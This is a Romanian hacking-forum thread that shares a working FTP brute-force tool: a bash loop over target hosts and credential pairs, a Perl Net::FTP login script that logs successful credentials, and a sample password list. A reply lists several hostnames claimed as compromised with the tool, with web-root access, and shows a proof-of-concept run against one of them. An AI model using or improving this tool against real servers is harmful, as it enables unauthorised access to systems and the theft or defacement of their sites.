Filehost.ro - gazduire fisiere
Team-BlueWater Hacking
Team-BlueWater Hacking Support!
Nou pe simpatie:
crazygirl pe Simpatie.ro
Femeie
24 ani
Buzau
cauta Barbat
26 - 80 ani
Team-BlueWater HackingReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Team-BlueWater Hacking / Exploituri & Vulnerabilitati /

FTP brute in PERL

Pagini: 1 Moderat de RevYvaL
#1
m4s4cru
TVOnline Gratis
Din: Craiova
Postari: 1217
Cum functioneaza. Incearca brute la user/password (definite in fisierul pass_file) la toate hostname-urile dintr-un fisier (linie-dupa-linie, fisier implicit logfile) salvand intr-un fisier definit ip user password (ftp.log). Nu l-am facut multi-thread pentru ca sincer mi-a fost lene.

Sursa:

do

Code:

for ip in $(cat logfile)
do
        while read USR PAS
        do
                perl x.pl $ip $USR $PAS
        done < pass_file
done

x.pl

Code:

#!/usr/bin/perl

use Net::FTP;

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2] || "";
my $port = "21";

$ftp=Net::FTP->new("$host", Port=>"$port", Timeout => 5)
or die("couldn't connect to host:" . $host . " on port " . $port);

if($ftp->login("$user","$pass")) {
 print "Login found: $host $user $pass\n";
 open (MYFILE, '>>ftp.log');
 print MYFILE "$host $user $pass\n";
 close (MYFILE);
}

$ftp->close();

Exemplu pass_file:

Code:

shop shop
sales sales
orders orders
shop password
shop 123456

Sa il faca cineva multithread-ing si sa-l posteze aici. Si sa mai adauge in cazul in care un ip din lista da timeout ... sa treaca la urmatorul ip nu sa stea sa incerce toate parolele.

Galford D. Weller -

Hostname owned cu acest tool:
www.atminformatica.com.br
movie.cluecian.com
mail.orgltd.com
toystory.overland.cl
Toate cu access la DocumentRoot.

Proof of concept:

[/dev/shm/ftpd]# cat logfile
toystory.overland.cl
[/dev/shm/ftpd]# ./do
Login found: toystory.overland.cl webmaster XXXX
[/dev/shm/ftpd]# cat ftp.log
toystory.overland.cl webmaster XXXX

Enjoy.

PS: Nu l-am facut eu de la 0. Ci doar am luat un perl script de pe google si am luat doar ceea ce-mi trebuie mie.

SURSA: http://www.perlmonks.org/bare/?displayt ... _id=352761


 
   
Pagini: 1  
Mergi la